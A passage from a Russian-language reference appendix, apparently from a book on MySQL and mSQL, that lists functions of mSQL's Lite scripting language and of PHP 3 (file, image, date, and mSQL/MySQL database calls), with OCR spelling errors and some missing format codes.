    Возвращает массив информации о следующем поле таблицы, созданной msqllnitFieldList , указываемой аргументом result. Каждый последующий вызов функции msqIListField выдает новый массив информации, пока не закончатся поля таблицы. Массив состоит из следующих полей:

  • Имя поля

  • Имя таблицы

  • Тип таблицы

  • Длина

  • Флаги

    msqIListTables

    $tables = msqlListTables($socket, $database)

    Возвращает массив имен доступных таблиц базы данных database на сервере, указанном аргументом socket.

    msqINumRows

    msqlNumRows($result)

    Возвращает количество записей в данных, содержащихся в result.

    msqIQuery

    $result = msqlQuery($socket, $query)

    Пытается послать запрос query к подключению, указанному аргументом socket. Если запрос не был успешно выполнен, возвращается отрицательное целое число.

    msqISelectDB

    $result = msqlSelectDB($socket, $database)

    Функция пытается подключить socket к базе данных, указанной аргументом database . Если попытка не удалась, возвращается отрицательное целое число.

    msqIStoreResult

    $result = msqIStoreResult

    Выбирает все данные, полученные в результате последнего вызова msqlQuery , и сохраняет их для чтения и обработки.

    open

    $fd = open($file, $mode)

    Эта функция открывает указанный файл, используя заданный режим, и связывает с файлом файловый дескриптор. Режимы могут быть следующими:


    > Открыть файл для записи

    <Открыть файл для чтения

    <> Открыть файл для чтения или записи

    <Р Создать именованный канал и открыть его для чтения

    >Р Создать именованный канал и открыть его для записи

    <| Выполнить файл как команду и прочесть результаты

    >| Выполнить файл как команду и сделать запись в процесс

    pid

    $pid = getppid()

    Возвращает идентификатор (PID) родительского для программы Lite процесса.

    printf

    printf($string [, arg, ... ])

    Работает как функция С (или Perl) с тем же именем. Значение переменных не подставляется; для ввода переменных в строку необходимо использовать стандартное для С форматирование '%s'.

    read

    $data = read($fd, $length)

    Читает указанное в length число байт из заданного файлового дескриптора.

    readln

    $line =readln($fd)

    Читает следующую строку из указанного файлового дескриптора.

    readtok

    $data = readtok($fd, $token)

    Функция читает данные из указанного файлового дескриптора, пока не встретит маркер token. Используется только первый символ из token.

    rename

    $result = rename($oldname, $newname)

    Функция пытается переименовать указанный файл (или каталог) из oldname в newname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    rmdir

    $result = rmdir($path)

    Функция пытается удалить указанный каталог. Если операцию совершить не удалось, возвращается отрицательное целое число.

    setContentType

    setContentType($string)

    Заменяет заданный по умолчанию тип содержимого HTML-страницы, содержащей скрипт, на значение, указанное в string. Эта функция должна быть самой первой строкой документа. Перед ней не должно быть даже пустой строки.

    sleep

    sleep($time)

    Останавливает работу программы на указанное количество секунд.

    split

    $strings = split($string, $token)

    Разделяет заданную строку на массив строк, используя как разделитель символ token..

    stat

    $stat = stat($file)

    Возвращает массив информации о файле file. В массиве содержатся следующие элементы:


  • Номер inode.

  • Режим файла.

  • Количество ссылок на файл.

  • UID.

  • GID.

  • Размер файла.

  • Atime.

  • Mtime.

  • Ctime.

  • Размер блока файловой системы (в байтах).

  • Количество используемых блоков файловой системы.

    strftime

    $time = strftime($format, $time)

    Преобразует время Unix в текстовое представление времени, используя заданный формат format. Все описанные ниже последовательности в строке format заменяются на соответствующие им значения:



    День недели в виде местных сокращений названий дней недели.



    День недели в виде местных полных названий дней недели.

    %b

    Месяц в виде местных сокращенных названий.



    Месяц в виде местных полных названий месяцев.

    %d

    День месяца (01-31).

    %D

    День в виде % m/% d/% у.



    День месяца (1-31, перед числами первого десятка добавляется пробел).



    Час (00-23).

    %I

    Час (00-12).

    %j

    День в году (001-366).

    %h

    Часы (0-23, отделенные пробелами).

    %l

    Часы (1-12, отделенные пробелами).

    %m

    Номер месяца (01—12).

    %M

    Минуты (00-59).



    AM или РМ.

    %S

    Секунды (00-59).



    Время в виде % Н:% М:% S.

    %U

    Номер недели в году (01-52).

    %w

    День недели (0-6, воскресенье является 0).

    %y

    Год века (00-99).

    %Y

    Год, включая век (например 1999).

    strseg

    $string = strseg($string, $start, $end)

    Возвращает подстроку из указанной строки, которая начинается с позиции start и закачивается на позиции end от начала строки.

    sub

    $string = sub($string, $ехр1, $ехрr2)

    Заменяет любые вхождения exprl в string на значение ехрг2. Значения exprl и ехрг2 могут быть разными по длине, строка string автоматически будет укорочена либо удлинена.

    substr

    $string = substr($string1, $regexp, $string2)

    Находит подстроку в строке string"!, которая отвечает регулярному выражению regexp. Каждой части регулярного выражения, заключенной в скобки, присваивается переменная $1, $2, $3 и т. д., содержащая результат совпадения, если оно было найдено. Возвращается значение string2 , с расширенными переменными (включая $1, $2, $3 и т. д.).


    tr

    $string = tr($string, $list1, $list2)

    Функция замещает все символы из списка listl, которые находит в строке string, их эквивалентом в списке list2 (например, tr("Robby", "oy", "ai") вернет строку "Rabbi"). Список символов может содержать диапазон символов, разделенный "-". В частности, tr("e.e. cummings", "a-z," "A-Z") вернет строку "E.E. CUMMINGS."

    truncate

    $result = truncate($fale, $length)

    Функция пытается сократить размер файла до указанной в байтах длины length . Обычно используется для создания файла с нулевой длиной. Если попытка не удалась, вернется отрицательное целое число.

    umask

    umask($mask)

    Устанавливает umask текущего процесса в заданное значение mask, которое может быть десятичным, восьмеричным или шестнадцатерич-ным.

    unixtime2*

    $year = unixtime2year($time)

    $month = unixtime2month($time)

    $day = unixtime2day($time)

    $hour = unixtirne2hour($time)

    $min = unixtime2min($time)

    $sec = unixtime2sec($time)

    Данные функции берут в качестве аргумента значение времени в формате Unix и возвращают запрашиваемое значение. Например, функция unixtime2day(time()) может вернуть текущий день месяца (значение от 1 до 31).

    unlink

    $result = unlink("filename")

    Удаляет указанный файл. Если удалить файл не удалось, возвращается отрицательное целое число.

    urIEncode

    $string = urlEncode($string)

    Эта функция возвращает копию строки string , которая перекодирована для безопасной вставки в URL.

    PHP

    Здесь вы найдете краткое справочное руководство по РНР. Список приведенных функций относится к РНР 3. Описаны те функции, которые работают с MySQL и mSQL, но пропущены функции для работы с другими серверами баз данных, такими как Ababas D, dbm, Oracle и PostgreSQL.

    abs

    $pos_num = abs($number);

    Abs возвращает абсолютное значение аргумента number.

    addslashes

    $escaped_string = addslashes($string); .

    Возвращает копию строки string , в которой экранированы все символы $ \ или '.

    asort

    $sorted_array = asort($array);

    Возвращает отсортированную копию ассоциативного массива array, asort работает только с ассоциативными массивами. Для сортировки обычных массивов используйте sort. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    bindec

    $decimal = bindec($binary);

    Функция возвращает десятичный эквивалент указанного двоичного числа binary.

    ceil

    $higher_integer = ceil($number);

    Округляет заданное число до следующего целого числа и возвращает результат как число с плавающей запятой.

    chdir

    chdir($directory);

    Изменяет текущий рабочий каталог на каталог, заданный аргументом.

    chgrp

    chgrp($file,Sgroupj;

    Изменяет идентификатор группы заданного файла на группу, указанную в аргументе.

    chimed

    chimed($file,$permissions);

    Функция изменяет права доступа к файлу на указанные в аргументе permissions . Этот аргумент задается в восьмеричном виде.

    chown

    chown($file, Sowner);

    Изменяет владельца заданного файла на указанного в аргументе owner. Эта функция будет работать только в том случае, если РНР выполняется от имени суперпользователя, что обычно не рекомендуется.

    chop

    $stripped_string = chop($string);

    Возвращает строку string , у которой удалены все имевшиеся концевые пробелы, табуляции и символы новой строки.

    chr

    $character = chr($number);

    Возвращает символ ASCII, соответствующий заданному числовому аргументу. Шестнадцатеричные и восьмеричные числа обозначаются как 0xff и 077 соответственно. Остальные числа считаются десятичными.


    clearstack

    clearstack();

    Очищает текущий стек. Эта функция создана специально, чтобы обойти некоторые ограничения в дизайне РНР. Если у вас есть пользовательская функция, содержащая большой цикл, вы можете столкнуться с проблемами, связанными с нехваткой стекового пространства. Если это происходит, вызовите clearstack() из этого цикла. Недостаток данного метода в том, что вашу функцию невозможно будет вызвать из другой функции. Результат функции следует сохранить в переменной, которая может быть затем использована по вашему усмотрению.

    clearstatcache

    clearstatcache();

    Очищает кэш, используемый всеми функциями, которые получают информацию о файлах. Так как доступ к такой информации занимает достаточно много времени, РНР хранит ее в кэше. Если вам необходи-ма уверенность, что используете самую свежую информацию о файле (то есть не кэшированную), вызовите функцию clearstatcache(); перед получением этой информации.

    closedir

    closed!r($directorу);

    Закрывает каталог, открытый функцией opendir.

    closelog

    closelog();

    Останавливает всю журнализацию, выполняемую функцией syslog .

    COS

    $result = cos($number);

    Возвращает косинус аргумента number.

    count

    $number = count($array);

    Возвращает число элементов в массиве array. Если переменная не является массивом, функция вернет значение 1 (так как переменная подобна массиву с только одним элементом). Если аргумент array не указан, функция вернет 0.

    crypt

    $encrypted_string = crypt($string);

    $encrypted_string = crypt($string, $salt);

    Шифрует заданную строку. Используется стандартный метод шифрования Unix - DES, тот же, что используется для шифрования паролей и т. д. Можно задать необязательный двухсимвольный аргумент salt (база для шифрования).

    date

    $formatted_date = date($format,$time);

    Вернет time (стандарное время Unix, выдаваемое функцией Time), отформатированное в указанный format. Возвращаемое значение имеет тот же вид, что и format, где все указанные ниже символы заменены на соответствующие значения:


    А АМ/РМ

    a am/pm

    D День (например Sun)

    d День (например 13)

    F Месяц (например February)

    Н Час в 24-часовом формате (например 17)

    h Час в 12-часовом формате (например 5)

    i Минуты (например 30)

    l День (например Sunday)

    М Месяц (например Feb)

    m Месяц (например 02)

    s Секунды (например 27)

    Y Год (например 1998)

    у Год (например 98)

    U Секунды с начала эпохи (отсчета) (например 803537321)

    Z День года (например 154)

    dblist

    $db_info = dblist();

    Вернет список СУБД, поддерживаемых РНР.

    decbin

    $binary = decbin($decimal);

    Возвращает двоичный эквивалент указанного десятичного числа.

    dexhex

    $hex = dechex($decimal);

    Возвращает шестнадцатеричный эквивалент указанного десятичного числа.

    decoct

    $octal = decoct($decimal);

    Возвращает восьмеричный эквивалент указанного десятичного числа.

    doubleval

    $double = doubleval($variable);

    Возвращает значение переменной в виде числа с плавающей запятой.

    echo

    echo [format_string] expression [, expression ...]

    He является настоящей функцией, скорее, это встроенная в РНР версия функции printf языка С. В самом простом варианте echo напечатает результат выражения expression . Можно указать до пяти выражений, результат каждого из которых будет напечатан по очереди. Также можно указать строку форматирования, которая должна иметь тот же вид, что и в функции printf языка С или Perl.

    end

    end($array);

    Устанавливает внутренний указатель массива array на последний элемент массива.

    ereg

    $result = ereg($expression, $string);

    $result = ereg($expression, $string, $match_array);

    Вернет true, если строка string отвечает регулярному выражению в expression . Если в качестве третьего аргумента указан массив, значение, отвечающее выражению, будет помещено в массив.

    eregi

    $result = eregi($expression, $string);

    $result = eregi($expression, Sstring, $match_array);

    Идентично ereg, за исключением того, что при сравнении игнорируется регистр.

    ereg_replace

    ereg_replace($expression, $replacement_string, $string);


    Замещает все части в указанной строке string , которые отвечают выражению expression , строкой replacement_string.

    eregi_replace

    eregi_replace($expression, $replacement_string, $string);

    Идентично ereg_replace, за исключением того, что при сравнении игнорируется регистр.

    escapeshellcmd

    $safe_string = escapeshellcmd(Sstring);

    Возвращает копию строки string, все спецсимволы которой перекодированы так, что строку можно безопасно использовать с функциями exec или system.

    eval

    eval($string);

    Обрабатывает содержимое строки string таким образом, как если бы это был скрипт РНР. Для строки выполняется подстановка переменных, поэтому, если вы хотите использовать переменную в этом "минискрипте", ее следует заэкранировать.

    exec

    $last_line = exec($command);

    $last_line = exec($command, $output_array);

    $last_line = exec($command, $output_array, $return_code);

    Выполняет в вызываемой подоболочке Unix команду command . Возвращается только последняя строка результата команды. Если вторым аргументом указан массив, все строки, выводимые командой, будут помещены в него. Если есть третий аргумент, в эту переменную записывается код возврата команды.

    exit

    exit();

    Завершение синтаксического анализа HTML-файла.

    ехр

    $result = exp($number);

    Возвращает число е, возведенное в указанную степень.

    fclose

    fclose($fd);

    Закрывает файл, открытый fopen.

    feof

    $result = feof($fd);

    Возвращает true, если файловый дескриптор fd находится в конце файла.

    fgets

    $line = fgets($fd, $max_bytes);

    Возвращает следующую строку (длиной до max_bytes ) из файла, на который указывает fd.

    fgetss

    $line = fgetss($fd, $max_bytes);

    Идентична fgets за исключением того, что эта функция пытается удалить любые теги HTML или РНР при чтении файла.

    file

    $аггау = file($filename);

    Возвращает массив, каждый элемент которого содержит строку файла, указанного в filename.

    fileatime

    $time = fileatime($filename);

    Возвращает (в стандартном формате времени Unix) время последнего доступа к файлу filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает — 1.


    filectime

    $time = filectime($filename);

    Возвращает время ( в стандартном формате времени Unix) последнего изменения статуса файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filegroup

    $group_id = filegroup($filename);

    Возвращает идентификатор группы файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileinode

    $inode = fileinode($filename);

    Возвращает индексный дескриптор файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filemtime

    $time = filemtime($filename);

    Возвращает время (в стандартном формате времени Unix) последнего изменения файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileowner

    $owner = fileowner($filename);

    Возвращает ID владельца файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileperms

    $permissions = fileperms($filename);

    Возвращает права доступа к указанному в filename файлу. Если эта информация по каким-либо причинам не может быть получена, функция возвращает —1.

    filesize

    $size = filesize($filename);

    Возвращает размер файла в байтах. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filetype

    $type = filetype($filename);

    Возвращает одно из следующих значений, указывающих на тип файла

    filename : dir, file, fifo, char, block или link.

    floor

    $lower_integer = floor($number);

    Округляет число number до ближайшего меньшего целого и возвращает результат в виде числа с плавающей запятой.

    flush

    flush();

    Сбрасывает содержимое буфера на стандартный вывод, так что конечный пользователь сразу видит все результаты.

    fopen

    $fd = fopen($filename, $mode);

    Открывает файл в режиме mode и возвращает указатель на дескриптор, связанный с открытым файлом. Как и в функции fopen языка С, режим может быть одним из следующих: "r", "r+", "w", "w+", "a", "а+". Функция возвращает -1, если файл невозможно открыть.


    fputs

    fputs($fd, $string);

    Записывает строку string в файл, связанный с дескриптором fd.

    fpassthru

    fpassthru($fd);

    Печатает все оставшиеся данные файла, на который указывает дескриптор fd.

    fseek

    fseek($fd, $position);

    Устанавливает дескриптор файла fd на позицию (смещение от начала файла), указанную в аргументе position.

    fsockopen

    $fd = fsockopen($hostname,$port);

    Открывает соединение с hostname на порте port и возвращает дескриптор файла, связанный с открытым соединением. Если номер порта равен 0, аргумент hostname будет рассматриваться как имя в стиле имени файла сокета Unix на локальном хосте. В случае ошибки функция вернет следующие значения: -3, если не удалось создать сокет; —4, если не удалось разрешить имя хоста (установить IP-адрес); —5, если в соединении было отказано или оно закончилось по тайм-ауту; -6, если потерпел неудачу вызов fdopen() и, наконец, -7, если потерпел неудачу вызов setvbuf().

    ftell

    Sposition = ftell($fd);

    Возвращает позицию указателя в файле, связанном с fd. Это значение можно использовать в качестве аргумента для fseek.

    getaccdir

    $directory = getaccdir();

    Возвращает имя каталога, где хранятся файлы конфигурации РНР.

    getenv

    $value = getenv($variable);

    Возвращает значение переменной окружения, указанной в variable .

    gethostbyname

    Saddress = gethostbyname($hostname);

    Возвращает IP-адрес указанного в hostname хоста.

    gethostbyaddr

    $hostname = gethostbyaddr($address);

    Возвращает имя хоста по указанному IP адресу.

    getimagesize

    $file_info_array = getimagesize($filename);

    Возвращает массив информации о графическом изображении в указанном filename. Первый элемент массива- ширина изображения, второй - высота, и третий - тип рисунка. В настоящее время распознаются типы GIF, JPG и PNG. Четвертым элементом является строка формата "width=xxx height=yyy", которая может непосредственно использоваться в теге HTML .

    getlastaccess

    $time = getlastaccess();

    Возвращает дату и время (в стандартном формате Unix) последнего обращения к странице. Эта функция будет работать, только если РНР был откомпилирован с опцией регистрации доступа.


    getlastbrowser

    $browser = getlastbrowser();

    Возвращает идентификационную строку броузера, использованного при последнем обращении к текущей странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastemail

    $email = getlastemail();

    Возвращает адрес электронной почты пользователя, который последним обращался к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlasthost

    $host = getlasthost();

    Возвращает имя хоста, с которого было сделано последнее обращение к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getiastmod

    $time = getlastmod();

    Возвращает время (в стандартном формате времени Unix) последнего изменения страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastref

    $url = getlastref();

    Возвращает URL узла, с которого пришел последний посетитель страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlogdir

    $directory = getlogdir();

    Возвращает каталог, в котором находятся журналы регистрации РНР.

    get my in ode

    $inode = getmyinode();

    Возвращает указатель inode HTML-файла, содержащего текущий скрипт РНР.

    getmypid

    $pid = getmypid();

    Возвращает идентификатор текущего РНР-процесса.

    getmyuid

    $id = getmyuid();

    Возвращает идентификатор пользователя владельца HTML-файла, содержащего текущий скрипт.

    getrandmax

    $number = getrandmax();

    Возвращает максимально возможное число, которое может вернуть функция rand.

    getstartlogging

    $time = getstartlogging();

    Возвращает время (в стандартном формате Unix) начала регистрации на странице HTML, которая содержит текущий скрипт.

    gettoday

    $hits = gettoday();

    Возвращает число обращений к данной странице, начиная с 0 часов текущих суток.

    gettotal

    $hits = gettotal();

    Возвращает общее число обращений к текущей странице с начала регистрации доступа к странице.


    gettype

    $type = gettype($variable);

    Возвращает одно из следующих значений: "integer", "double" или "string", указывающих на тип заданной переменной variable .

    gmdate

    $formatted_date = gmdate($format, $time);

    Идентично Date за исключением того, что для обработки значений используется время по Гринвичу (GMT) вместо местного времени.

    header

    header($header_string);

    Выводит header_string как HTTP-заголовок. Эта функция должна использоваться перед любым HTML-текстом в файле и перед любыми командами РНР, которые выдают какой-либо результат.

    hexdec

    $decimal = hexdec($hex);

    Возвращает десятичный эквивалент шестнадцатеричного аргумента hex.

    htmlspecialchars

    $html_string = htmlspecialchars($string);

    Возвращает строку string, заменяя любые специальные символы (включая <, >, &, " и все ASCII-символы с кодами от 160 до 255) на соответствующие им HTML-коды.

    imagearc

    imagearc($image, $сх, $су, $width, $height, $start, $end, $color);

    Рисует сектор эллипса в изображении image цветом, указанным в color. Центр эллипса находится в точке (сх, су), ширина указана аргументом width, высота- height, начальная и конечная точки указываются в градусах аргументами start и end соответственно.

    imagechar

    imagechar($image, $size, $x, $y, $character, $color);

    Рисует символ character в изображении image цветом, назначенным в color, с размером шрифта size. Левый верхний угол символа находится в точке (х, у).

    imagecharup

    imagecharup($image, $size, $x, $y, $character, $color);

    Функция идентична imagechar за исключением того, что символ выводится вертикально, (х, у) указывают на координаты верхнего левого угла.

    imagecolorallocate

    $color = imagecolorallocate($image, $red, $green, $blue);

    Возвращает цвет для работы с изображением image, используя указанные RGB-компоненты.

    imagecolortransparent

    imagecolortransparent($image, $color);

    Устанавливает color как прозрачный цвет для изображения image.

    imagecopyresized


    imagecopyresized($dest_image, $src_image, $dest_x, $dest_y, $src_x, $src_y, $dest_width, $dest_heigth, $src_width, $src_heigth);

    Копирует прямоугольную область из изображения src_image в изображение dest_image , изменяя размер, если это необходимо. Аргументы dest_x и dest_y являются координатами левой верхней вершины прямоугольника в принимающем изображении, a dest_height и dest_width - его высотой и шириной. Аргументы src_x, src_y,' src_width, и src_heigth являются соответствующими значениями для изображения-источника.

    imagecreate

    $image = imagecreate($width, $height);

    Возвращает идентификатор изображения, указывающий на новое изображение с заданными размерами.

    imagecreatefromgif

    $image = imagecreatefromgif($filename);

    Возвращает идентификатор изображения, указывающий на изображение в заданном файле filename .

    imagedestroy

    imagedestroy($image);

    Освобождает все ресурсы, занятые image.

    imagefill

    imagefill($image, $х, $у, $color);

    Выполняет заливку изображения image цветом color, начиная с точки (х,у).

    imagefilledpolygon

    imagefilledpolygon($image, $points_array, $num_points, $color);

    Создает многоугольник в image, заполненный цветом color. Второй аргумент является массивом вершин многоугольника. Первые два элемента - это значения х и у первой вершины. Следующие два элемента— координаты следующей вершины и т. д. Третий аргумент указывает на число вершин многоугольника.

    imagefilledrectangle

    imagefilledrectangle($image, $х1, $у1, $х2, $у2, $color);

    Создает прямоугольник в image, заполненный цветом color. Аргументы х1 и у1 образуют верхнюю левую вершину прямоугольника, а х2 и у2 — правую нижнюю.

    imagefilltoborder

    imagefilltoborder($image, $x, $y, $border, $color);

    Функция идентична imagefill за исключением того, что заливка цветом прекращается там, где встречается цвет border.

    imagegif

    imagegif($image);

    imagegif($image, $filename);

    Выводит изображение image как рисунок GIF. Если указан второй аргумент, рисунок GIF будет записан в этот файл, иначе он будет направлен прямо в броузер.


    imageinterlace

    imageinterlace($image, $interlace);

    Функция переключает бит чередования для изображения image на значение interlace , которое может быть равно 1 (включить) или 0 (выключить).

    imageline

    imageline($iraage, $х1, $у1, $х2, $у2, $color);

    Создает линию указанного в color цвета от точки (х1, у2) до точки (х2, у2) в изображении image.

    imagepolygon

    imagepolygon($image, $points, $numpoints, $color);

    Функция идентична imagef illedpolygon за исключением того, что многоугольник не заполняется.

    imagerectangle

    imagerectangle($image, $х1, $у1, $х2, $у2, $color);

    Функция идентична imagefilledrectangle за исключением того, что прямоугольник не заполняется.

    imagesetpixel

    imagesetpixel($image, $x, $y, $color);

    Рисует точку в изображении image в позиции (х, у) цветом, указанным в color.

    imagestring

    imagestring($image, $size, $x, $y, $string, $color);

    Функция идентична imagechar за исключением того, что она выводит всю строку string.

    imagestring up

    imagestringup($image, Ssize, $x, $y, $string, $color);

    Функция идентична imagecharup за исключением того, что она выводит всю строку string.

    imagesx

    $x_size = imagesx($image);

    Возвращает ширину в пикселах изображения, указанного в image.

    imagesy

    $y_size = imagesy($image);

    Возвращает высоту изображения в пикселах.

    include

    include($filename);

    Вставляет файл, указанный в filename , в текущую страницу. Выполняется полный синтаксический PHP-анализ подключаемого файла. В поисках файла filename просматривается каждый из каталогов, указанных в переменной окружения PHP_INCLUDE_ PATH.

    initsyslog

    initsyslog();

    Подготавливает систему к регистрации событий с помощью syslog. После вызова этой функции вы можете использовать syslog для записи в журнал.

    intval

    $integer = intval($variable);

    Возвращает содержимое variable в виде целого числа.

    isset

    $defined = isset($variable);

    Возвращает 1, если переменная variable определена, иначе вернет 0.

    key

    $key = key($array);


    Возвращает ключ текущего элемента массива array. Для ассоциативного массива возвращает имя ключа. Для обычного массива возвращает номер элемента.

    link

    link($target, $filename);

    Создает жесткую ссылку от filename к target.

    linkinfo

    $info = linkinfo($filename);

    Возвращает истинное значение, если ссылка, указанная в filename , существует (но не обязательно существует файл, на который указывает ссылка). В случае ошибки функция возвращает —1.

    log

    $result = log($number);

    Возвращает натуральный логарифм аргумента number.

    log10

    $result = Iog10($number);

    Возвращает логарифм по основанию 10 аргумента number.

    logas

    logas($filename);

    Регистрирует посещение текущей страницы как посещение указанного filename вместо файлового имени страницы.

    mail

    mail($to, $subject, $message);

    mail($to, $subject, $message, $headers);

    Посылает электронное письмо по адресу, указанному в параметре to, с темой, указанной в параметре subject, и поместит в тело письма значение аргумента message . Если указан четвертый аргумент, он добавляется к заголовку письма.

    max

    $maximum = max($array);

    Возвращает максимальное значение в массиве array. Если это строковый массив, функция возвращает элемент, последний по алфавиту.

    md5

    $hash = md5($string);

    Возвращает хэш (MD5) строки string .

    microtime

    $ms = microtime();

    Возвращает строку, содержащую часть текущей секунды (в виде десятичной дроби), за которой следует стандартное время Unix.

    min

    $minimum = min($array);

    Возвращает минимальное значение в массиве array. Если это строковый массив, функция вернет элемент, который был бы первым по алфавиту.

    mkdir

    mkdir($directory, $mode);

    Создает каталог directory с указанным режимом mode, mode должно быть восьмеричным значением.

    mktime

    $time = mktime($hour,$minute,$second,$month,$day, Syear);

    Возвращает время в стандартном формате времени Unix, основываясь на заданных аргументах. Если указано менее шести параметров, параметры справа считаются соответствующими текущему значению времени (например, если дано четыре параметра, используются текущий день и год).


    msql mysql

    $result = msql($database, $query);

    $result = mysql($database, $query);

    Посылает запрос query базе данных mSQL/MySQL, указанной в аргументе database. Для не SELECT-запросов функция возвращает 0 для mSQL 1.x и MySQL, а для mSQL 2.x возвращает число измененных записей. Для запроса SELECT функция возвращает идентификатор результата, который может быть использован в других функциях msql_ *. В случае ошибки функция вернет -1.

    my sql_af f ected_ro ws

    $num_rows = mysql_affected_rows();

    Возвращает число записей, измененных последней из команд INSERT, UPDATE или DELETE.

    msql_close mysql_close

    msql_close(); mysql_close();

    Закрывает подключение к серверу базы данных mSQL/MySQL.

    msql_connect mysql_connect

    msql_connect($hostname);

    mysql_connect($hostname);

    mysql_connect($hostname, Susername);

    mysql_connect($hostname, $username, Spassword);

    Создает соединение с сервером базы данных mSQL/MySQL на указанном хосте hostname. Подключение к серверу на локальном хосте осуществляется с помощью m(y)sql_connect("localhost"). Если при первом вызове m(y)sql нет подключения к базе данных, подключение к локальному хосту создается автоматически. Для MySQL может быть указан необязательный аргумент username или комбинация username/ password. Если PHP запущен в расширенном режиме безопасности (называемом SAFE MODE), username должен принадлежать либо владельцу HTML-документа, либо владельцу процесса веб-сервера.

    msql_createdb mysql_createdb

    msql_createdb($database); mysql_createdb($database);

    Создает указанную базу данных.

    msql_dbname mysql_dbname

    $db = msql_dbname($result, $i);

    $db = mysql_dbname($result, $i);

    Вернет имя базы данных, хранящееся в i-том поле результата, возвращенного функцией m(y)sql_listdbs .

    msql_dropdb mysql_dropdb

    msql_dropdb($database);

    mysql_dropdb($database);

    Удаляет базу данных database и все ее таблицы.

    msqHieldflags mysql_fieldflags

    $flags = msql_fieldflags($result, $i);

    $flags = mysql_fieldflags($result, $i);


    Возвращает флаги для в i-того поля в result. Возвращаемое значение может быть одним из следующих: "primary key", "not null", "not null primary key" или << >>.

    msql_fieldlen mysql_fieldlen

    $length = msql_fieldlen($result, $i);

    $length = mysql_fieldlen($result, $i);

    Возвращает длину i-го поля в result.

    msql_fieldname mysql_fieldname

    $name = msql_fieldname($result, $i);

    $name = mysql_fieldname($result, $i);

    Возвращает имя столбца i-го поля в result .-

    msql_fieldtype mysql_fieldtype

    $type = msql_fieldtype($result, $i);

    $type = mysql_fieldtype($result, $i);

    Возвращает тип i-го поля в result (то есть "char", "real" и т. д.).

    msql_freeresult mysql_freeresult

    msql_freeresult($result);

    mysql_freeresult($result);

    Освобождает память, связанную с результатом работы mSQL/MySQL. Вся память автоматически освобождается по завершении скрипта, поэтому используйте эту функцию, только если ваш скрипт занимает слишком много памяти.

    mysql_insertjd

    $id_num = mysql_insert_id();

    Возвращает идентификационный номер, использовавшийся при последней команде INSERT, содержавшей поле auto_increment.

    msql_listdbs mysql_listdbs

    $result = msql_listdbs();

    $result = mysql_listdbs();

    Возвращает указатель на результат, содержащий список имен всех баз данных, доступных на сервере mSQL/MySQL. Функция m(y)sql_dbname может выбирать значения из этого указателя.

    msql_listfields mysql_listfields

    $result = msql_listfields($database, $table);

    $result = mysqllistfields($database, $table);

    Вернет указатель на результат, дающий информацию о полях таблицы table в назначенной базе данных. Функции m(y)sql_fieldflags , m(y)sql_fieldlen , m(y)sql_fieldname и m(y)sql_ fieldtype могут выбирать значения из этого указателя.

    msql_isttables mysql_listtables

    $result = msql_listtables($database);

    $result = mysql_listtables($database);

    Возвращает указатель на результат, содержащий имена всех таблиц базы данных database . Функция m(y)sql_tablename может выбирать значения из этого указателя.


    msql_numfields mysql_numfields

    $num_fields = msql_numfields($result);

    $nuni_fields = mysql_numfields($result);

    Возвращает число полей в result.

    msql_nurn rows msql_numrows

    $num_rows = msql_numrows($result);

    $num_rows = mysql_numrows($result);_

    Возвращает количество записей в result.

    msql_regcase

    $new_string = msql_regcase($string);

    Возвращает копию строки string, преобразованную в регулярное выражение, необходимое для выполнения поиска не зависящих от регистра совпадений в запросе mSQL.

    msql_result mysql_result

    $result_string = msql_result($result, $i, $field);

    $result_string = mysql_result($result, $1, $field);

    Данная функция возвращает значение из указанного поля field 1-й записи набора result. Аргумент field - это имя столбца, и он может быть указан как table, field для результирующих наборов, использующих соединения таблиц. В аргумент field допускается включение любой внутренней функции MySQL, которая может обрабатывать результаты SELECT, например, mysql_result ($result, $i, "length($field)") .

    msqljtablename mysql_tablename

    $name = msql_tablename($result, $i);

    $name = mysql_tablename($result, $i);

    Вернет имя таблицы, хранящееся в i-м поле результата, возвращенного функцией m(y)sql_listtables .

    next

    next($array);

    Перемещает указатель массива array на следующий элемент и возвращает текущий.

    octdec

    $decimal = octdec($octal);

    Возвращает десятичный эквивалент восьмеричного аргумента octal.

    opendir

    opendir($directory);

    Открывает указанный каталог для использования с функцией readdir. Вы должны закрыть каталог с помощью closedir после работы с ним.

    openlog

    openlog($ident, $options, $facllity);

    Открывает для записи системный журнал. Эту функцию необходимо вызывать после initlog и до первого вызова syslog . Аргументы те же, что и при вызове системной функции Unix openlog . Значение ident предваряет каждую запись журнала и обычно является именем программы. Значение options может быть одним из следующих: LOG_CONS (выводить журнал на консоль, если произошла ошибка в стандартной процедуре); LOG_NDELAY (открыть журнал немедленно вместо ожидания первой записи журнала); LOG_PERROR (записывать также в stderr); LOG_PID (включать идентификатор процесса (PID) в каждую запись журнала). Можно комбинировать эти параметры с помощью побитового ИЛИ (например (LOG_DELAY | LOG_PERROR LOG_PID)). Facility - это один из установленных системой уровней журнализации (например, LOG_SYSLOG, LOG_USER, LOG_KERN и т. д.).


    ord

    $number = ord($character);

    Возвращает ASCII-значение символа character.

    parse_str

    parse_str($string);

    Разбирает строку URL в формате "переменная 1=значение1 &переменная2=значение2" и инициализирует переменные, присваивая им соответствующие значения. Программа РНР выполняет эту функцию автоматически для приходящих из форм данных в начале каждого скрипта.

    passthru

    passthru($command);

    passthru($command, $returevalue);

    Выполняет внешнюю команду command и выдает все результаты ее выполнения непосредственно броузеру. Если указан второй аргумент, туда помещается возвращаемое значение.

    pclose

    pclose($fd);

    Закрывает канал, открытый функцией рореп.

    phpinfo

    phpinfo();

